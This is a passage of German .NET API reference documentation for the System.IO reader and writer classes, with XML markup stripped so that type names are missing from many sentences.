Der Stream wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest eine Zeile von Zeichen aus dem aktuellen Stream und gibt die Daten als Zeichenfolge zurück. + Die nächste Zeile des Eingabestreams bzw. null, wenn das Ende des Eingabestreams erreicht ist. + Es ist nicht genügend Speicherplatz vorhanden, um einen Puffer für die zurückgegebene Zeichenfolge zu reservieren. + E/A-Fehler. + 1 + + + Liest eine Zeile von Zeichen asynchron aus dem aktuellen Stream und gibt die Daten als Zeichenfolge zurück. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die nächste Zeile aus dem Stream oder ist null, wenn alle Zeichen gelesen wurden. + Die Anzahl der Zeichen in der nächsten Zeile ist größer als . + Der Stream wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest alle Zeichen von der aktuellen Position bis zum Ende des Streams. + Der Rest des Streams als Zeichenfolge, von der aktuellen Position bis zum Ende.Wenn die aktuelle Position am Ende des Streams ist, wird eine leere Zeichenfolge ("") zurückgegeben. + Es ist nicht genügend Speicherplatz vorhanden, um einen Puffer für die zurückgegebene Zeichenfolge zu reservieren. + E/A-Fehler. + 1 + + + Liest alle Zeichen asynchron von der aktuellen Position bis zum Ende des Streams und gibt diese als einzelne Zeichenfolge zurück. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält eine Zeichenfolge mit den Zeichen von der aktuellen Position bis zum Ende des Streams. + Die Anzahl der Zeichen ist niedriger als . + Der Stream wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Implementiert einen zum Schreiben von Zeichen in einen Stream in einer bestimmten Codierung.Um den .NET Framework-Quellcode für diesen Typ zu durchsuchen, rufen Sie die Verweisquelle auf. + 1 + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream unter Verwendung der UTF-8-Codierung und der Standardpuffergröße. + Der Stream, in den geschrieben werden soll. + + ist schreibgeschützt. + + ist null. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream unter Verwendung der angegebenen Codierung und der Standardpuffergröße. + Der Stream, in den geschrieben werden soll. + Die zu verwendende Zeichencodierung. + + oder ist null. + + ist schreibgeschützt. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream unter Verwendung der angegebenen Codierung und Puffergröße. + Der Stream, in den geschrieben werden soll. + Die zu verwendende Zeichencodierung. + Die Puffergröße in Byte. + + oder ist null. + + ist negativ. + + ist schreibgeschützt. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream unter Verwendung der angegebenen Codierung und Puffergröße und lässt optional den Stream geöffnet. + Der Stream, in den geschrieben werden soll. + Die zu verwendende Zeichencodierung. + Die Puffergröße in Byte. + true, um den Datenstrom geöffnet zu lassen, nach dem das -Objekt freigegeben wurde; andernfalls false. + + oder ist null. + + ist negativ. + + ist schreibgeschützt. + + + Ruft einen Wert ab, der angibt, ob der nach jedem Aufruf von den Puffer in den zugrunde liegenden Stream wegschreibt, oder legt diesen Wert fest. + true, um zum Entleeren des Puffers zu zwingen, andernfalls false. + 1 + + + Ruft den zugrunde liegenden Stream ab, der eine Schnittstelle zu einem Sicherungsspeicher bildet. + Der Stream, in den dieser StreamWriter schreibt. + 2 + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + Die aktuelle Codierung unterstützt das Anzeigen einer Hälfte eines Unicode-Ersatzzeichenpaars nicht. + + + Ruft die ab, in der die Ausgabe geschrieben wird. + Die im Konstruktor für die aktuelle Instanz angegebene oder , sofern keine Codierung angegeben wurde. + 2 + + + Löscht sämtliche Puffer für den aktuellen Writer und veranlasst die Ausgabe aller gepufferten Daten an den zugrunde liegenden Stream. + Der aktuelle Writer wird geschlossen. + Ein E/A-Fehler ist aufgetreten. + Die aktuelle Codierung unterstützt das Anzeigen einer Hälfte eines Unicode-Ersatzzeichenpaars nicht. + 1 + + + Löscht alle Puffer für diesen Stream asynchron und veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät. + Eine Aufgabe, die die asynchrone Leerung darstellt. + Der Stream wurde freigegeben. + + + Stellt einen StreamWriter ohne Sicherungsspeicher bereit, in den zwar geschrieben, aus dem jedoch nicht gelesen werden kann. + 1 + + + Schreibt ein Zeichen in den Stream. + Das in den Stream zu schreibende Zeichen. + E/A-Fehler. + + ist true, oder der -Puffer ist voll, und der aktuelle Writer ist geschlossen. + + ist true, oder der -Puffer ist voll, und der Inhalt des Puffers kann nicht in den zugrunde liegenden Stream fester Größe geschrieben werden, da der sich am Ende des Streams befindet. + 1 + + + Schreibt ein Zeichenarray in den Stream. + Ein Zeichenarray mit den zu schreibenden Daten.Wenn den Wert null ist, wird nichts geschrieben. + E/A-Fehler. + + ist true, oder der -Puffer ist voll, und der aktuelle Writer ist geschlossen. + + ist true, oder der -Puffer ist voll, und der Inhalt des Puffers kann nicht in den zugrunde liegenden Stream fester Größe geschrieben werden, da der sich am Ende des Streams befindet. + 1 + + + Schreibt ein Teilarray von Zeichen in den Stream. + Ein Zeichenarray, das die zu schreibenden Daten enthält. + Die Zeichenposition im Puffer, an der mit dem Lesen von Daten begonnen werden soll. + Die maximale Anzahl der zu schreibenden Zeichen. + + ist null. + Die Länge des Puffers minus ist kleiner als . + + oder ist negativ. + E/A-Fehler. + + ist true, oder der -Puffer ist voll, und der aktuelle Writer ist geschlossen. + + ist true, oder der -Puffer ist voll, und der Inhalt des Puffers kann nicht in den zugrunde liegenden Stream fester Größe geschrieben werden, da der sich am Ende des Streams befindet. + 1 + + + Schreibt eine Zeichenfolge in den Stream. + Die Zeichenfolge, die in den Stream geschrieben werden soll.Wenn den Wert NULL hat, wird nichts geschrieben. + + ist true, oder der -Puffer ist voll, und der aktuelle Writer ist geschlossen. + + ist true, oder der -Puffer ist voll, und der Inhalt des Puffers kann nicht in den zugrunde liegenden Stream fester Größe geschrieben werden, da der sich am Ende des Streams befindet. + E/A-Fehler. + 1 + + + Schreibt ein Zeichen asynchron in den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in den Stream zu schreibende Zeichen. + Der Streamwriter wird freigegeben. + Der Streamwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Teilarray von Zeichen asynchron in den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Ein Zeichenarray, das die zu schreibenden Daten enthält. + Die Zeichenposition im Puffer, an der mit dem Lesen von Daten begonnen werden soll. + Die maximale Anzahl der zu schreibenden Zeichen. + + ist null. + Der und ist größer als die Pufferlänge. + + oder ist negativ. + Der Streamwriter wird freigegeben. + Der Streamwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt eine Zeichenfolge asynchron in den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Die Zeichenfolge, die in den Stream geschrieben werden soll.Wenn den Wert null ist, wird nichts geschrieben. + Der Streamwriter wird freigegeben. + Der Streamwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Zeichen für den Zeilenabschluss asynchron in den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Der Streamwriter wird freigegeben. + Der Streamwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss asynchron in den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in den Stream zu schreibende Zeichen. + Der Streamwriter wird freigegeben. + Der Streamwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Teilarray von Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, asynchron in den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das Zeichenarray, aus dem Daten geschrieben werden sollen. + Die Zeichenposition im Puffer, an der mit dem Lesen von Daten begonnen werden soll. + Die maximale Anzahl der zu schreibenden Zeichen. + + ist null. + Der und ist größer als die Pufferlänge. + + oder ist negativ. + Der Streamwriter wird freigegeben. + Der Streamwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt eine Zeichenfolge, gefolgt von einem Zeichen für den Zeilenabschluss, asynchron in den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Die zu schreibende Zeichenfolge.Wenn der Wert null ist, wird nur ein Zeichen für den Zeilenabschluss geschrieben. + Der Streamwriter wird freigegeben. + Der Streamwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Implementiert einen , der aus einer Zeichenfolge liest. + 2 + + + Initialisiert eine neue Instanz der -Klasse, die aus der angegebenen Zeichenfolge liest. + Die Zeichenfolge, mit der der initialisiert werden soll. + Der -Parameter ist null. + + + Gibt die vom verwendeten nicht verwalteten Ressourcen und optional auch die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Gibt das nächste verfügbare Zeichen zurück, ohne es zu verarbeiten. + Eine ganze Zahl, die das nächste zu lesende Zeichen darstellt, oder auch -1, wenn keine weiteren Zeichen verfügbar sind oder der Stream keine Suchvorgänge unterstützt. + Der aktuelle Reader ist geschlossen. + 2 + + + Liest das nächste Zeichen aus der Eingabezeichenfolge und verschiebt die Zeichenposition um ein Zeichen nach vorn. + Das nächste Zeichen in der zugrunde liegenden Zeichenfolge oder -1, wenn keine weiteren Zeichen verfügbar sind. + Der aktuelle Reader ist geschlossen. + 2 + + + Liest einen Zeichenblock aus der Eingabezeichenfolge und verschiebt die Zeichenposition um die durch angegebene Anzahl von Zeichen nach vorn. + Die Gesamtanzahl der in den Puffer gelesenen Zeichen.Diese kann kleiner als die Anzahl der angeforderten Zeichen sein, wenn diese Anzahl von Zeichen derzeit nicht verfügbar ist, oder 0, wenn das Ende der zugrunde liegenden Zeichenfolge erreicht ist. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Der Anfangsindex im Puffer. + Die Anzahl der zu lesenden Zeichen. + + ist null. + Die Länge des Puffers minus ist kleiner als . + + oder ist negativ. + Der aktuelle Reader ist geschlossen. + 2 + + + Liest eine angegebene Höchstanzahl von Zeichen asynchron aus der aktuellen Zeichenkette und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Zeichenfolgenende erreicht ist. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen.Wenn das Ende der Zeichenfolge erreicht ist, bevor die angegebene Anzahl von Zeichen in den Puffer geschrieben wurde, erfolgt die Methodenrückgabe. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Zeichenfolgen-Reader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest eine angegebene Höchstanzahl von Zeichen asynchron aus der aktuellen Zeichenkette und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Zeichenfolgenende erreicht ist. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen.Wenn das Ende der Zeichenfolge erreicht ist, bevor die angegebene Anzahl von Zeichen in den Puffer geschrieben wurde, erfolgt die Methodenrückgabe. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Zeichenfolgen-Reader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest eine Zeile von Zeichen aus der aktuellen Zeichenkette und gibt die Daten als Zeichenfolge zurück. + Die nächste Zeile der aktuellen Zeichenfolge oder null, wenn das Ende der Zeichenfolge erreicht ist. + Der aktuelle Reader ist geschlossen. + Es ist nicht genügend Speicherplatz vorhanden, um einen Puffer für die zurückgegebene Zeichenfolge zu reservieren. + 2 + + + Liest eine Zeile von Zeichen asynchron aus der aktuellen Zeichenkette und gibt die Daten als Zeichenfolge zurück. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die nächste Zeile aus dem Zeichenfolgenreader oder null, wenn alle Zeichen gelesen wurden. + Die Anzahl der Zeichen in der nächsten Zeile ist größer als . + Der Zeichenfolgen-Reader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest alle Zeichen von der aktuellen Position bis zum Ende des Streams und gibt diese als einzelne Zeichenfolge zurück. + Der Inhalt ab der aktuellen Position bis zum Ende der zugrunde liegenden Zeichenfolge. + Es ist nicht genügend Speicherplatz vorhanden, um einen Puffer für die zurückgegebene Zeichenfolge zu reservieren. + Der aktuelle Reader ist geschlossen. + 2 + + + Liest alle Zeichen asynchron von der aktuellen Position bis zum Ende des Streams und gibt diese als einzelne Zeichenfolge zurück. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält eine Zeichenfolge mit den Zeichen von der aktuellen Position bis zum Ende der Zeichenfolge. + Die Anzahl der Zeichen ist niedriger als . + Der Zeichenfolgen-Reader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Implementiert einen zum Schreiben von Informationen in eine Zeichenfolge.Die Informationen werden in einem zugrunde liegenden gespeichert. + 2 + + + Initialisiert eine neue Instanz der -Klasse. + + + Initialisiert eine neue Instanz der -Klasse mit dem angegebenen Formatierungssteuerelement. + Ein -Objekt zum Steuern der Formatierung. + + + Initialisiert eine neue Instanz der -Klasse zum Schreiben in den angegebenen . + Der StringBuilder, in den geschrieben werden soll. + + ist null. + + + Initialisiert eine neue Instanz der -Klasse zum Schreiben in den angegebenen und mit dem angegebenen Formatanbieter. + Der StringBuilder, in den geschrieben werden soll. + Ein -Objekt zum Steuern der Formatierung. + + ist null. + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional auch die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Ruft die ab, in der die Ausgabe geschrieben wird. + Die Encoding, in der die Ausgabe geschrieben wird. + 1 + + + Löscht sämtliche Puffer für den aktuellen Writer asynchron und veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät. + Eine Aufgabe, die die asynchrone Leerung darstellt. + + + Gibt den zugrunde liegenden zurück. + Der zugrunde liegende StringBuilder. + 2 + + + Gibt eine Zeichenfolge zurück, die die bisher in den aktuellen StringWriter geschriebenen Zeichen enthält. + Die Zeichenfolge, die die bisher in den aktuellen StringWriter geschriebenen Zeichen enthält. + 2 + + + Schreibt ein Zeichen in die Zeichenfolge. + Das zu schreibende Zeichen. + Der Writer ist geschlossen. + 2 + + + Schreibt ein Teilarray von Zeichen in die Zeichenfolge. + Das Zeichenarray, aus dem Daten geschrieben werden sollen. + Die Position im Puffer, an der mit dem Lesen von Daten begonnen werden soll. + Die maximale Anzahl der zu schreibenden Zeichen. + + ist null. + + oder ist negativ. + ( + )> .Length. + Der Writer ist geschlossen. + 2 + + + Schreibt eine Zeichenfolge in die aktuelle Zeichenfolge. + Die zu schreibende Zeichenfolge. + Der Writer ist geschlossen. + 2 + + + Schreibt ein Zeichen asynchron in die Zeichenfolge. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in die Zeichenfolge zu schreibende Zeichen. + Der Zeichenfolgenwriter wird freigegeben. + Der Zeichenfolgenwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Teilarray von Zeichen asynchron in die Zeichenfolge. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das Zeichenarray, aus dem Daten geschrieben werden sollen. + Die Position im Puffer, an der mit dem Lesen von Daten begonnen werden soll. + Die maximale Anzahl der zu schreibenden Zeichen. + + ist null. + Der und ist größer als die Pufferlänge. + + oder ist negativ. + Der Zeichenfolgenwriter wird freigegeben. + Der Zeichenfolgenwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt eine Zeichenfolge asynchron in die aktuelle Zeichenfolge. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Die zu schreibende Zeichenfolge.Wenn den Wert null hat, wird nichts in den Stream geschrieben. + Der Zeichenfolgenwriter wird freigegeben. + Der Zeichenfolgenwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss asynchron in die Zeichenfolge. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in die Zeichenfolge zu schreibende Zeichen. + Der Zeichenfolgenwriter wird freigegeben. + Der Zeichenfolgenwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Teilarray von Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, asynchron in die Zeichenfolge. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das Zeichenarray, aus dem Daten geschrieben werden sollen. + Die Position im Puffer, an der mit dem Lesen von Daten begonnen werden soll. + Die maximale Anzahl der zu schreibenden Zeichen. + + ist null. + Der und ist größer als die Pufferlänge. + + oder ist negativ. + Der Zeichenfolgenwriter wird freigegeben. + Der Zeichenfolgenwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt eine Zeichenfolge gefolgt von einem Zeichen für den Zeilenabschluss asynchron in die aktuelle Zeichenfolge. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Die zu schreibende Zeichenfolge.Wenn der Wert null ist, wird nur ein Zeichen für den Zeilenabschluss geschrieben. + Der Zeichenfolgenwriter wird freigegeben. + Der Zeichenfolgenwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Stellt ein Leseprogramm dar, das eine sequenzielle Serie von Zeichenfolgen lesen kann. + 2 + + + Initialisiert eine neue Instanz der -Klasse. + + + Gibt alle vom -Objekt verwendeten Ressourcen frei. + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Stellt einen TextReader ohne zu lesende Daten bereit. + 1 + + + Liest das nächste Zeichen, ohne den Zustand des Readers oder der Zeichenquelle zu ändern.Gibt das nächste verfügbare Zeichen zurück, ohne es tatsächlich aus dem Reader zu lesen. + Eine Ganzzahl, die das nächste zu lesende Zeichen darstellt, oder auch -1, wenn keine weiteren Zeichen verfügbar sind oder der Reader keine Suchvorgänge unterstützt. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Liest das nächste Zeichen aus dem Text-Reader und verschiebt die Zeichenposition um ein Zeichen nach vorn. + Das nächste Zeichen im Textreader, bzw. -1, wenn keine weiteren Zeichen verfügbar sind.Die Standardimplementierung gibt -1 zurück. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Liest eine angegebene Höchstanzahl von Zeichen aus dem aktuellen Reader und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Die Anzahl der gelesenen Zeichen.Die Anzahl ist kleiner oder gleich , abhängig davon, ob die Daten im Reader verfügbar sind.Diese Methode gibt 0 (null) zurück für den Fall, dass sie aufgerufen wird, wenn keine Zeichen mehr zu lesen sind. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen.Wenn das Ende des Readers erreicht ist, bevor die angegebene Anzahl von Zeichen in den Puffer gelesen wurde, erfolgt die Methodenrückgabe. + + ist null. + Die Länge des Puffers minus ist kleiner als . + + oder ist negativ. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Liest asynchron eine angegebene Höchstanzahl von Zeichen aus dem aktuellen Textreader und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Textende erreicht ist. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen.Wenn das Ende des Texts erreicht ist, bevor die angegebene Anzahl von Zeichen in den Puffer gelesen wurde, erfolgt die aktuelle Methodenrückgabe. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Textreader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest eine angegebene Höchstanzahl von Zeichen aus dem aktuellen Textreader und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Die Anzahl der gelesenen Zeichen.Die Anzahl ist kleiner oder gleich , je nachdem, ob alle Eingabezeichen gelesen wurden. + Dieser Parameter enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + -1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen. + + ist null. + Die Länge des Puffers minus ist kleiner als . + + oder ist negativ. + Der ist geschlossen. + E/A-Fehler. + 2 + + + Liest asynchron eine angegebene Höchstanzahl von Zeichen aus dem aktuellen Textreader und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Textende erreicht ist. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen.Wenn das Ende des Texts erreicht ist, bevor die angegebene Anzahl von Zeichen in den Puffer gelesen wurde, erfolgt die aktuelle Methodenrückgabe. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Textreader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest eine Zeile von Zeichen aus dem Textleser und gibt die Daten als Zeichenfolge zurück. + Die nächste Zeile des Readers oder null, wenn alle Zeichen gelesen wurden. + E/A-Fehler. + Es ist nicht genügend Speicherplatz vorhanden, um einen Puffer für die zurückgegebene Zeichenfolge zu reservieren. + Der ist geschlossen. + Die Anzahl der Zeichen in der nächsten Zeile ist größer als . + 1 + + + Liest eine Zeile von asynchron Zeichen aus dem aktuellen Stream und gibt die Daten als Zeichenfolge zurück. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die nächste Zeile aus dem Textreader oder null, wenn alle Zeichen gelesen wurden. + Die Anzahl der Zeichen in der nächsten Zeile ist größer als . + Der Textreader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest alle Zeichen von der aktuellen Position bis zum Ende des Text-Readers und gibt diese als eine Zeichenfolge zurück. + Eine Zeichenfolge mit allen Zeichen von der aktuellen Position bis zum Ende des Textreaders. + E/A-Fehler. + Der ist geschlossen. + Es ist nicht genügend Speicherplatz vorhanden, um einen Puffer für die zurückgegebene Zeichenfolge zu reservieren. + Die Anzahl der Zeichen in der nächsten Zeile ist größer als . + 1 + + + Liest alle Zeichen asynchron von der aktuellen Position bis zum Ende des Text-Readers und gibt diese als eine Zeichenfolge zurück. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält eine Zeichenfolge mit den Zeichen von der aktuellen Position bis zum Ende des Textreaders. + Die Anzahl der Zeichen ist niedriger als . + Der Textreader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Stellt einen Writer dar, der eine sequenzielle Serie von Zeichen schreiben kann.Diese Klasse ist abstrakt. + 2 + + + Initialisiert eine neue Instanz der -Klasse. + + + Initialisiert eine neue Instanz der -Klasse mit dem angegebenen Formatanbieter. + Ein -Objekt zum Steuern der Formatierung. + + + Speichert die für diesen TextWriter verwendeten Zeilenendemarken. + + + Gibt alle vom -Objekt verwendeten Ressourcen frei. + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Gibt beim Überschreiben in einer abgeleiteten Klasse die Zeichencodierung zurück, in der die Ausgabe geschrieben ist. + Die Zeichencodierung, in der die Ausgabe geschrieben wird. + 1 + + + Löscht sämtliche Puffer für den aktuellen Writer und veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät. + 1 + + + Löscht sämtliche Puffer für den aktuellen Writer asynchron und veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät. + Eine Aufgabe, die die asynchrone Leerung darstellt. + Der Textwriter wird freigegeben. + Der Writer wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Ruft ein Objekt zum Steuern der Formatierung ab. + Ein -Objekt für eine bestimmte Kultur oder die Formatierung der aktuellen Kultur, wenn keine andere Kultur angegeben wurde. + 2 + + + Ruft die Zeichenfolge für den Zeilenabschluss ab, die vom aktuellen TextWriter verwendet wird, oder legt diese fest. + Die Zeichenfolge für den Zeilenabschluss für den aktuellen TextWriter. + 2 + + + Stellt einen TextWriter ohne Sicherungsspeicher bereit, in den zwar geschrieben, aus dem jedoch nicht gelesen werden kann. + 1 + + + Schreibt die Textdarstellung eines Boolean-Werts in die Textzeichenfolge oder den Stream. + Der zu schreibende Boolean-Wert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Zeichen in die Textzeichenfolge oder den Stream. + Das in den Textstream zu schreibende Zeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Zeichenarray in die Textzeichenfolge oder den Stream. + Das in den Textstream zu schreibende Zeichenarray. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Teilarray von Zeichen in die Textzeichenfolge oder den Stream. + Das Zeichenarray, aus dem Daten geschrieben werden sollen. + Die Zeichenposition im Puffer, an der mit dem Abrufen von Daten begonnen werden soll. + Die Anzahl der zu schreibenden Zeichen. + Die Länge des Puffers minus ist kleiner als . + Der -Parameter ist null. + + oder ist negativ. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines Dezimalwerts in die Textzeichenfolge oder den Stream. + Der zu schreibende Dezimalwert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines 8-Byte-Gleitkommawerts in die Textzeichenfolge oder den Stream. + Der zu schreibende 8-Byte-Gleitkommawert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung einer 4-Byte-Ganzzahl mit Vorzeichen in die Textzeichenfolge oder den Stream. + Die zu schreibende 4-Byte-Ganzzahl mit Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung einer 8-Byte-Ganzzahl mit Vorzeichen in die Textzeichenfolge oder den Stream. + Die zu schreibende 8-Byte-Ganzzahl mit Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines Objekts in die Textzeichenfolge oder den Stream, indem für das Objekt die ToString-Methode aufgerufen wird. + Das zu schreibende Objekt. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines 4-Byte-Gleitkommawerts in die Textzeichenfolge oder den Stream. + Der zu schreibende 4-Byte-Gleitkommawert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt eine Zeichenfolge in die Textzeichenfolge oder den Stream. + Die zu schreibende Zeichenfolge. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt eine formatierte Zeichenfolge in die Textzeichenfolge oder den Stream unter Verwendung der gleichen Semantik wie die -Methode. + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Das zu formatierende und zu schreibende Objekt. + + ist null. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte 